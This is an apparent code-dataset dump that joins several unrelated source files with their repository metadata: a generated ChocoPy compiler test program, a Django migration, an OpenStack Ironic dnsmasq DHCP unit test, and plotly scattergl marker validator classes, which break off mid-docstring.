count2:int = 0
count3:int = 0
count4:int = 0
count5:int = 0
def foo(s: str) -> int:
return len(s)
def foo2(s: str, s2: str) -> int:
return len(s)
def foo3(s: str, s2: str, s3: str) -> int:
return len(s)
def foo4(s: str, s2: str, s3: str, s4: str) -> int:
return len(s)
def foo5(s: str, s2: str, s3: str, s4: str, s5: str) -> int:
return len(s)
class bar(object):
p: bool = True
def baz(self:"bar", xx: [int]) -> str:
global count
x:int = 0
y:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
class bar2(object):
p: bool = True
p2: bool = True
def baz(self:"bar2", xx: [int]) -> str:
global count
x:int = 0
y:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz2(self:"bar2", xx: [int], xx2: [int]) -> str:
global count
x:int = 0
x2:int = 0
y:int = 1
y2:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
class bar3(object):
p: bool = True
p2: bool = True
p3: bool = True
def baz(self:"bar3", xx: [int]) -> str:
global count
x:int = 0
y:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
$Block
return "Nope"
def baz2(self:"bar3", xx: [int], xx2: [int]) -> str:
global count
x:int = 0
x2:int = 0
y:int = 1
y2:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz3(self:"bar3", xx: [int], xx2: [int], xx3: [int]) -> str:
global count
x:int = 0
x2:int = 0
x3:int = 0
y:int = 1
y2:int = 1
y3:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
def qux3(y: int, y2: int, y3: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
class bar4(object):
p: bool = True
p2: bool = True
p3: bool = True
p4: bool = True
def baz(self:"bar4", xx: [int]) -> str:
global count
x:int = 0
y:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz2(self:"bar4", xx: [int], xx2: [int]) -> str:
global count
x:int = 0
x2:int = 0
y:int = 1
y2:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz3(self:"bar4", xx: [int], xx2: [int], xx3: [int]) -> str:
global count
x:int = 0
x2:int = 0
x3:int = 0
y:int = 1
y2:int = 1
y3:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
def qux3(y: int, y2: int, y3: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz4(self:"bar4", xx: [int], xx2: [int], xx3: [int], xx4: [int]) -> str:
global count
x:int = 0
x2:int = 0
x3:int = 0
x4:int = 0
y:int = 1
y2:int = 1
y3:int = 1
y4:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
def qux3(y: int, y2: int, y3: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
if x > y:
x = -1
def qux4(y: int, y2: int, y3: int, y4: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
nonlocal x4
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
class bar5(object):
p: bool = True
p2: bool = True
p3: bool = True
p4: bool = True
p5: bool = True
def baz(self:"bar5", xx: [int]) -> str:
global count
x:int = 0
y:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz2(self:"bar5", xx: [int], xx2: [int]) -> str:
global count
x:int = 0
x2:int = 0
y:int = 1
y2:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz3(self:"bar5", xx: [int], xx2: [int], xx3: [int]) -> str:
global count
x:int = 0
x2:int = 0
x3:int = 0
y:int = 1
y2:int = 1
y3:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
def qux3(y: int, y2: int, y3: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz4(self:"bar5", xx: [int], xx2: [int], xx3: [int], xx4: [int]) -> str:
global count
x:int = 0
x2:int = 0
x3:int = 0
x4:int = 0
y:int = 1
y2:int = 1
y3:int = 1
y4:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
def qux3(y: int, y2: int, y3: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
if x > y:
x = -1
def qux4(y: int, y2: int, y3: int, y4: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
nonlocal x4
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
def baz5(self:"bar5", xx: [int], xx2: [int], xx3: [int], xx4: [int], xx5: [int]) -> str:
global count
x:int = 0
x2:int = 0
x3:int = 0
x4:int = 0
x5:int = 0
y:int = 1
y2:int = 1
y3:int = 1
y4:int = 1
y5:int = 1
def qux(y: int) -> object:
nonlocal x
if x > y:
x = -1
def qux2(y: int, y2: int) -> object:
nonlocal x
nonlocal x2
if x > y:
x = -1
def qux3(y: int, y2: int, y3: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
if x > y:
x = -1
def qux4(y: int, y2: int, y3: int, y4: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
nonlocal x4
if x > y:
x = -1
def qux5(y: int, y2: int, y3: int, y4: int, y5: int) -> object:
nonlocal x
nonlocal x2
nonlocal x3
nonlocal x4
nonlocal x5
if x > y:
x = -1
for x in xx:
self.p = x == 2
qux(0) # Yay! ChocoPy
count = count + 1
while x <= 0:
if self.p:
xx[0] = xx[1]
self.p = not self.p
x = x + 1
elif foo("Long"[0]) == 1:
self.p = self is None
return "Nope"
print(bar().baz([1,2]))
| [
"[email protected]"
] | |
6399568472f674133ea232ed648f413406c0c095 | fd15d1a9d0fdf6908bb7c8d1d4490bb6cf817d1f | /CareerFlash/migrations/0012_auto_20190918_0307.py | 4a906d6dd1216a9a77ebe27977af08c7ec4755fd | [] | no_license | stanleysh/Career-Flash | 8bca183ae2576c0aae7dbdb62c2abd60e8890e6d | 6e062afb5ef8959141475e1d73af431a0cf047b4 | refs/heads/master | 2020-08-05T06:23:26.427944 | 2019-09-19T17:34:23 | 2019-09-19T17:34:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 402 | py | # Generated by Django 2.2.5 on 2019-09-18 03:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('CareerFlash', '0011_orginization'),
]
operations = [
migrations.AlterField(
model_name='orginization',
name='name',
field=models.CharField(max_length=255, unique=True),
),
]
| [
"[email protected]"
] | |
cdc243853b5430781b560f6d3f53ceeb14bb4b58 | a0447b03ad89a41a5c2e2073e32aeaf4d6279340 | /ironic/tests/unit/dhcp/test_dnsmasq.py | 64fe46f3393fd13874809d60d2532be93e42bae0 | [
"Apache-2.0"
] | permissive | openstack/ironic | 2ae87e36d7a62d44b7ed62cad4e2e294d48e061b | ab76ff12e1c3c2208455e917f1a40d4000b4e990 | refs/heads/master | 2023-08-31T11:08:34.486456 | 2023-08-31T04:45:05 | 2023-08-31T04:45:05 | 10,066,301 | 411 | 365 | Apache-2.0 | 2023-07-25T02:05:53 | 2013-05-14T22:28:24 | Python | UTF-8 | Python | false | false | 5,237 | py | #
# Copyright 2022 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import tempfile
from ironic.common import dhcp_factory
from ironic.common import utils as common_utils
from ironic.conductor import task_manager
from ironic.tests.unit.db import base as db_base
from ironic.tests.unit.objects import utils as object_utils
class TestDnsmasqDHCPApi(db_base.DbTestCase):
def setUp(self):
super(TestDnsmasqDHCPApi, self).setUp()
self.config(dhcp_provider='dnsmasq',
group='dhcp')
self.node = object_utils.create_test_node(self.context)
self.ports = [
object_utils.create_test_port(
self.context, node_id=self.node.id, id=2,
uuid='1be26c0b-03f2-4d2e-ae87-c02d7f33c782',
address='52:54:00:cf:2d:32',
pxe_enabled=True)]
self.optsdir = tempfile.mkdtemp()
self.addCleanup(lambda: common_utils.rmtree_without_raise(
self.optsdir))
self.config(dhcp_optsdir=self.optsdir, group='dnsmasq')
self.hostsdir = tempfile.mkdtemp()
self.addCleanup(lambda: common_utils.rmtree_without_raise(
self.hostsdir))
self.config(dhcp_hostsdir=self.hostsdir, group='dnsmasq')
dhcp_factory.DHCPFactory._dhcp_provider = None
self.api = dhcp_factory.DHCPFactory()
self.opts = [
{
'ip_version': 4,
'opt_name': '67',
'opt_value': 'bootx64.efi'
},
{
'ip_version': 4,
'opt_name': '210',
'opt_value': '/tftpboot/'
},
{
'ip_version': 4,
'opt_name': '66',
'opt_value': '192.0.2.135',
},
{
'ip_version': 4,
'opt_name': '150',
'opt_value': '192.0.2.135'
},
{
'ip_version': 4,
'opt_name': '255',
'opt_value': '192.0.2.135'
}
]
def test_update_dhcp(self):
with task_manager.acquire(self.context,
self.node.uuid) as task:
self.api.update_dhcp(task, self.opts)
dnsmasq_tag = task.node.driver_internal_info.get('dnsmasq_tag')
self.assertEqual(36, len(dnsmasq_tag))
hostfile = os.path.join(self.hostsdir,
'ironic-52:54:00:cf:2d:32.conf')
with open(hostfile, 'r') as f:
self.assertEqual(
'52:54:00:cf:2d:32,set:%s,set:ironic\n' % dnsmasq_tag,
f.readline())
optsfile = os.path.join(self.optsdir,
'ironic-%s.conf' % self.node.uuid)
with open(optsfile, 'r') as f:
self.assertEqual([
'tag:%s,67,bootx64.efi\n' % dnsmasq_tag,
'tag:%s,210,/tftpboot/\n' % dnsmasq_tag,
'tag:%s,66,192.0.2.135\n' % dnsmasq_tag,
'tag:%s,150,192.0.2.135\n' % dnsmasq_tag,
'tag:%s,255,192.0.2.135\n' % dnsmasq_tag],
f.readlines())
def test_get_ip_addresses(self):
with task_manager.acquire(self.context,
self.node.uuid) as task:
with tempfile.NamedTemporaryFile() as fp:
self.config(dhcp_leasefile=fp.name, group='dnsmasq')
fp.write(b"1659975057 52:54:00:cf:2d:32 192.0.2.198 * *\n")
fp.flush()
self.assertEqual(
['192.0.2.198'],
self.api.provider.get_ip_addresses(task))
def test_clean_dhcp_opts(self):
with task_manager.acquire(self.context,
self.node.uuid) as task:
self.api.update_dhcp(task, self.opts)
hostfile = os.path.join(self.hostsdir,
'ironic-52:54:00:cf:2d:32.conf')
optsfile = os.path.join(self.optsdir,
'ironic-%s.conf' % self.node.uuid)
self.assertTrue(os.path.isfile(hostfile))
self.assertTrue(os.path.isfile(optsfile))
with task_manager.acquire(self.context,
self.node.uuid) as task:
self.api.clean_dhcp(task)
# assert the host file remains with the ignore directive, and the opts
# file is deleted
with open(hostfile, 'r') as f:
self.assertEqual(
'52:54:00:cf:2d:32,ignore\n',
f.readline())
self.assertFalse(os.path.isfile(optsfile))
| [
"[email protected]"
] | |
d1c15709092c258b430c6ded3da4b80b379da6d7 | bb1e0e89fcf1f1ffb61214ddf262ba327dd10757 | /plotly_study/validators/scattergl/marker/__init__.py | 5076833461f161bf0707c189a46671576aba5327 | [
"MIT"
] | permissive | lucasiscovici/plotly_py | ccb8c3ced89a0f7eccf1ae98551fa712460033fe | 42ab769febb45fbbe0a3c677dc4306a4f59cea36 | refs/heads/master | 2020-09-12T05:43:12.363609 | 2019-12-02T15:13:13 | 2019-12-02T15:13:13 | 222,328,180 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 35,078 | py | import _plotly_utils.basevalidators
class SymbolsrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(
self, plotly_name="symbolsrc", parent_name="scattergl.marker", **kwargs
):
super(SymbolsrcValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "none"),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class SymbolValidator(_plotly_utils.basevalidators.EnumeratedValidator):
def __init__(self, plotly_name="symbol", parent_name="scattergl.marker", **kwargs):
super(SymbolValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
array_ok=kwargs.pop("array_ok", True),
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "style"),
values=kwargs.pop(
"values",
[
0,
"circle",
100,
"circle-open",
200,
"circle-dot",
300,
"circle-open-dot",
1,
"square",
101,
"square-open",
201,
"square-dot",
301,
"square-open-dot",
2,
"diamond",
102,
"diamond-open",
202,
"diamond-dot",
302,
"diamond-open-dot",
3,
"cross",
103,
"cross-open",
203,
"cross-dot",
303,
"cross-open-dot",
4,
"x",
104,
"x-open",
204,
"x-dot",
304,
"x-open-dot",
5,
"triangle-up",
105,
"triangle-up-open",
205,
"triangle-up-dot",
305,
"triangle-up-open-dot",
6,
"triangle-down",
106,
"triangle-down-open",
206,
"triangle-down-dot",
306,
"triangle-down-open-dot",
7,
"triangle-left",
107,
"triangle-left-open",
207,
"triangle-left-dot",
307,
"triangle-left-open-dot",
8,
"triangle-right",
108,
"triangle-right-open",
208,
"triangle-right-dot",
308,
"triangle-right-open-dot",
9,
"triangle-ne",
109,
"triangle-ne-open",
209,
"triangle-ne-dot",
309,
"triangle-ne-open-dot",
10,
"triangle-se",
110,
"triangle-se-open",
210,
"triangle-se-dot",
310,
"triangle-se-open-dot",
11,
"triangle-sw",
111,
"triangle-sw-open",
211,
"triangle-sw-dot",
311,
"triangle-sw-open-dot",
12,
"triangle-nw",
112,
"triangle-nw-open",
212,
"triangle-nw-dot",
312,
"triangle-nw-open-dot",
13,
"pentagon",
113,
"pentagon-open",
213,
"pentagon-dot",
313,
"pentagon-open-dot",
14,
"hexagon",
114,
"hexagon-open",
214,
"hexagon-dot",
314,
"hexagon-open-dot",
15,
"hexagon2",
115,
"hexagon2-open",
215,
"hexagon2-dot",
315,
"hexagon2-open-dot",
16,
"octagon",
116,
"octagon-open",
216,
"octagon-dot",
316,
"octagon-open-dot",
17,
"star",
117,
"star-open",
217,
"star-dot",
317,
"star-open-dot",
18,
"hexagram",
118,
"hexagram-open",
218,
"hexagram-dot",
318,
"hexagram-open-dot",
19,
"star-triangle-up",
119,
"star-triangle-up-open",
219,
"star-triangle-up-dot",
319,
"star-triangle-up-open-dot",
20,
"star-triangle-down",
120,
"star-triangle-down-open",
220,
"star-triangle-down-dot",
320,
"star-triangle-down-open-dot",
21,
"star-square",
121,
"star-square-open",
221,
"star-square-dot",
321,
"star-square-open-dot",
22,
"star-diamond",
122,
"star-diamond-open",
222,
"star-diamond-dot",
322,
"star-diamond-open-dot",
23,
"diamond-tall",
123,
"diamond-tall-open",
223,
"diamond-tall-dot",
323,
"diamond-tall-open-dot",
24,
"diamond-wide",
124,
"diamond-wide-open",
224,
"diamond-wide-dot",
324,
"diamond-wide-open-dot",
25,
"hourglass",
125,
"hourglass-open",
26,
"bowtie",
126,
"bowtie-open",
27,
"circle-cross",
127,
"circle-cross-open",
28,
"circle-x",
128,
"circle-x-open",
29,
"square-cross",
129,
"square-cross-open",
30,
"square-x",
130,
"square-x-open",
31,
"diamond-cross",
131,
"diamond-cross-open",
32,
"diamond-x",
132,
"diamond-x-open",
33,
"cross-thin",
133,
"cross-thin-open",
34,
"x-thin",
134,
"x-thin-open",
35,
"asterisk",
135,
"asterisk-open",
36,
"hash",
136,
"hash-open",
236,
"hash-dot",
336,
"hash-open-dot",
37,
"y-up",
137,
"y-up-open",
38,
"y-down",
138,
"y-down-open",
39,
"y-left",
139,
"y-left-open",
40,
"y-right",
140,
"y-right-open",
41,
"line-ew",
141,
"line-ew-open",
42,
"line-ns",
142,
"line-ns-open",
43,
"line-ne",
143,
"line-ne-open",
44,
"line-nw",
144,
"line-nw-open",
],
),
**kwargs
)
import _plotly_utils.basevalidators
class SizesrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(self, plotly_name="sizesrc", parent_name="scattergl.marker", **kwargs):
super(SizesrcValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "none"),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class SizerefValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="sizeref", parent_name="scattergl.marker", **kwargs):
super(SizerefValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class SizemodeValidator(_plotly_utils.basevalidators.EnumeratedValidator):
def __init__(
self, plotly_name="sizemode", parent_name="scattergl.marker", **kwargs
):
super(SizemodeValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "info"),
values=kwargs.pop("values", ["diameter", "area"]),
**kwargs
)
import _plotly_utils.basevalidators
class SizeminValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="sizemin", parent_name="scattergl.marker", **kwargs):
super(SizeminValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
min=kwargs.pop("min", 0),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class SizeValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="size", parent_name="scattergl.marker", **kwargs):
super(SizeValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
array_ok=kwargs.pop("array_ok", True),
edit_type=kwargs.pop("edit_type", "calc"),
min=kwargs.pop("min", 0),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class ShowscaleValidator(_plotly_utils.basevalidators.BooleanValidator):
def __init__(
self, plotly_name="showscale", parent_name="scattergl.marker", **kwargs
):
super(ShowscaleValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class ReversescaleValidator(_plotly_utils.basevalidators.BooleanValidator):
def __init__(
self, plotly_name="reversescale", parent_name="scattergl.marker", **kwargs
):
super(ReversescaleValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class OpacitysrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(
self, plotly_name="opacitysrc", parent_name="scattergl.marker", **kwargs
):
super(OpacitysrcValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "none"),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class OpacityValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="opacity", parent_name="scattergl.marker", **kwargs):
super(OpacityValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
array_ok=kwargs.pop("array_ok", True),
edit_type=kwargs.pop("edit_type", "calc"),
max=kwargs.pop("max", 1),
min=kwargs.pop("min", 0),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class LineValidator(_plotly_utils.basevalidators.CompoundValidator):
def __init__(self, plotly_name="line", parent_name="scattergl.marker", **kwargs):
super(LineValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
data_class_str=kwargs.pop("data_class_str", "Line"),
data_docs=kwargs.pop(
"data_docs",
"""
autocolorscale
Determines whether the colorscale is a default
palette (`autocolorscale: true`) or the palette
determined by `marker.line.colorscale`. Has an
effect only if in `marker.line.color`is set to
a numerical array. In case `colorscale` is
unspecified or `autocolorscale` is true, the
default palette will be chosen according to
whether numbers in the `color` array are all
positive, all negative or mixed.
cauto
Determines whether or not the color domain is
computed with respect to the input data (here
in `marker.line.color`) or the bounds set in
`marker.line.cmin` and `marker.line.cmax` Has
an effect only if in `marker.line.color`is set
to a numerical array. Defaults to `false` when
`marker.line.cmin` and `marker.line.cmax` are
set by the user.
cmax
Sets the upper bound of the color domain. Has
an effect only if in `marker.line.color`is set
to a numerical array. Value should have the
same units as in `marker.line.color` and if
set, `marker.line.cmin` must be set as well.
cmid
Sets the mid-point of the color domain by
scaling `marker.line.cmin` and/or
`marker.line.cmax` to be equidistant to this
point. Has an effect only if in
`marker.line.color`is set to a numerical array.
Value should have the same units as in
`marker.line.color`. Has no effect when
`marker.line.cauto` is `false`.
cmin
Sets the lower bound of the color domain. Has
an effect only if in `marker.line.color`is set
to a numerical array. Value should have the
same units as in `marker.line.color` and if
set, `marker.line.cmax` must be set as well.
color
Sets themarker.linecolor. It accepts either a
specific color or an array of numbers that are
mapped to the colorscale relative to the max
and min values of the array or relative to
`marker.line.cmin` and `marker.line.cmax` if
set.
coloraxis
Sets a reference to a shared color axis.
References to these shared color axes are
"coloraxis", "coloraxis2", "coloraxis3", etc.
Settings for these shared color axes are set in
the layout, under `layout.coloraxis`,
`layout.coloraxis2`, etc. Note that multiple
color scales can be linked to the same color
axis.
colorscale
Sets the colorscale. Has an effect only if in
`marker.line.color`is set to a numerical array.
The colorscale must be an array containing
arrays mapping a normalized value to an rgb,
rgba, hex, hsl, hsv, or named color string. At
minimum, a mapping for the lowest (0) and
highest (1) values are required. For example,
`[[0, 'rgb(0,0,255)'], [1, 'rgb(255,0,0)']]`.
To control the bounds of the colorscale in
color space, use`marker.line.cmin` and
`marker.line.cmax`. Alternatively, `colorscale`
may be a palette name string of the following
list: Greys,YlGnBu,Greens,YlOrRd,Bluered,RdBu,R
eds,Blues,Picnic,Rainbow,Portland,Jet,Hot,Black
body,Earth,Electric,Viridis,Cividis.
colorsrc
Sets the source reference on plot.ly for color
.
reversescale
Reverses the color mapping if true. Has an
effect only if in `marker.line.color`is set to
a numerical array. If true, `marker.line.cmin`
will correspond to the last color in the array
and `marker.line.cmax` will correspond to the
first color.
width
Sets the width (in px) of the lines bounding
the marker points.
widthsrc
Sets the source reference on plot.ly for width
.
""",
),
**kwargs
)
import _plotly_utils.basevalidators
class ColorsrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(
self, plotly_name="colorsrc", parent_name="scattergl.marker", **kwargs
):
super(ColorsrcValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "none"),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class ColorscaleValidator(_plotly_utils.basevalidators.ColorscaleValidator):
def __init__(
self, plotly_name="colorscale", parent_name="scattergl.marker", **kwargs
):
super(ColorscaleValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
implied_edits=kwargs.pop("implied_edits", {"autocolorscale": False}),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class ColorBarValidator(_plotly_utils.basevalidators.CompoundValidator):
def __init__(
self, plotly_name="colorbar", parent_name="scattergl.marker", **kwargs
):
super(ColorBarValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
data_class_str=kwargs.pop("data_class_str", "ColorBar"),
data_docs=kwargs.pop(
"data_docs",
"""
bgcolor
Sets the color of padded area.
bordercolor
Sets the axis line color.
borderwidth
Sets the width (in px) or the border enclosing
this color bar.
dtick
Sets the step in-between ticks on this axis.
Use with `tick0`. Must be a positive number, or
special strings available to "log" and "date"
axes. If the axis `type` is "log", then ticks
are set every 10^(n*dtick) where n is the tick
number. For example, to set a tick mark at 1,
10, 100, 1000, ... set dtick to 1. To set tick
marks at 1, 100, 10000, ... set dtick to 2. To
set tick marks at 1, 5, 25, 125, 625, 3125, ...
set dtick to log_10(5), or 0.69897000433. "log"
has several special values; "L<f>", where `f`
is a positive number, gives ticks linearly
spaced in value (but not position). For example
`tick0` = 0.1, `dtick` = "L0.5" will put ticks
at 0.1, 0.6, 1.1, 1.6 etc. To show powers of 10
plus small digits between, use "D1" (all
digits) or "D2" (only 2 and 5). `tick0` is
ignored for "D1" and "D2". If the axis `type`
is "date", then you must convert the time to
milliseconds. For example, to set the interval
between ticks to one day, set `dtick` to
86400000.0. "date" also has special values
"M<n>" gives ticks spaced by a number of
months. `n` must be a positive integer. To set
ticks on the 15th of every third month, set
`tick0` to "2000-01-15" and `dtick` to "M3". To
set ticks every 4 years, set `dtick` to "M48"
exponentformat
Determines a formatting rule for the tick
exponents. For example, consider the number
1,000,000,000. If "none", it appears as
1,000,000,000. If "e", 1e+9. If "E", 1E+9. If
"power", 1x10^9 (with 9 in a super script). If
"SI", 1G. If "B", 1B.
len
Sets the length of the color bar This measure
excludes the padding of both ends. That is, the
color bar length is this length minus the
padding on both ends.
lenmode
Determines whether this color bar's length
(i.e. the measure in the color variation
direction) is set in units of plot "fraction"
or in *pixels. Use `len` to set the value.
nticks
Specifies the maximum number of ticks for the
particular axis. The actual number of ticks
will be chosen automatically to be less than or
equal to `nticks`. Has an effect only if
`tickmode` is set to "auto".
outlinecolor
Sets the axis line color.
outlinewidth
Sets the width (in px) of the axis line.
separatethousands
If "true", even 4-digit integers are separated
showexponent
If "all", all exponents are shown besides their
significands. If "first", only the exponent of
the first tick is shown. If "last", only the
exponent of the last tick is shown. If "none",
no exponents appear.
showticklabels
Determines whether or not the tick labels are
drawn.
showtickprefix
If "all", all tick labels are displayed with a
prefix. If "first", only the first tick is
displayed with a prefix. If "last", only the
last tick is displayed with a suffix. If
"none", tick prefixes are hidden.
showticksuffix
Same as `showtickprefix` but for tick suffixes.
thickness
Sets the thickness of the color bar This
measure excludes the size of the padding, ticks
and labels.
thicknessmode
Determines whether this color bar's thickness
(i.e. the measure in the constant color
direction) is set in units of plot "fraction"
or in "pixels". Use `thickness` to set the
value.
tick0
Sets the placement of the first tick on this
axis. Use with `dtick`. If the axis `type` is
"log", then you must take the log of your
starting tick (e.g. to set the starting tick to
100, set the `tick0` to 2) except when
`dtick`=*L<f>* (see `dtick` for more info). If
the axis `type` is "date", it should be a date
string, like date data. If the axis `type` is
"category", it should be a number, using the
